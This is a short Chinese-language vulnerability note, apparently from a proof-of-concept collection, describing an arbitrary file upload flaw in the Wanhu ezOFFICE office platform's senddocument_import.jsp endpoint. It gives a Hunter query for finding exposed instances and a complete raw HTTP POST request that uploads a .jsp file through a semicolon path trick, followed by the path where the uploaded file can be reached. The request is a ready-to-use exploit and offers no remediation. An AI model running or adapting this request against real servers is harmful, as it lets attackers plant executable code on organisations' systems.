万户协同办公平台senddocument_import存在任意文件上传漏洞
一、漏洞简介
万户ezOFFICE协同管理平台是一个综合信息基础应用平台。 万户协同办公平台senddocument_import存在任意文件上传漏洞
二、影响版本
- 万户ezoffice
三、资产测绘
- hunter
app.name="万户 Ezoffice OA" - 登录页面
四、漏洞复现
POST /defaultroot/modules/govoffice/gov_documentmanager/senddocument_import.jsp;?categoryId=null&path=loginpage&mode=add&fileName=null&saveName=null&fileMaxSize=0&fileMaxNum=null&fileType=jsp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Type: multipart/form-data; boundary=00content0boundary00
Host: xx.xx.xx.xx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 288
Connection: close
--00content0boundary00
Content-Disposition: form-data; name="photo"; filename="stc.jsp"
stc
--00content0boundary00
Content-Disposition: form-data; name="continueUpload"
0
--00content0boundary00
Content-Disposition: form-data; name="submit"
导入
--00content0boundary00--
上传文件位置,注意最后需添加一个;
/defaultroot/upload/loginpage/2023112001240329341614287.jsp;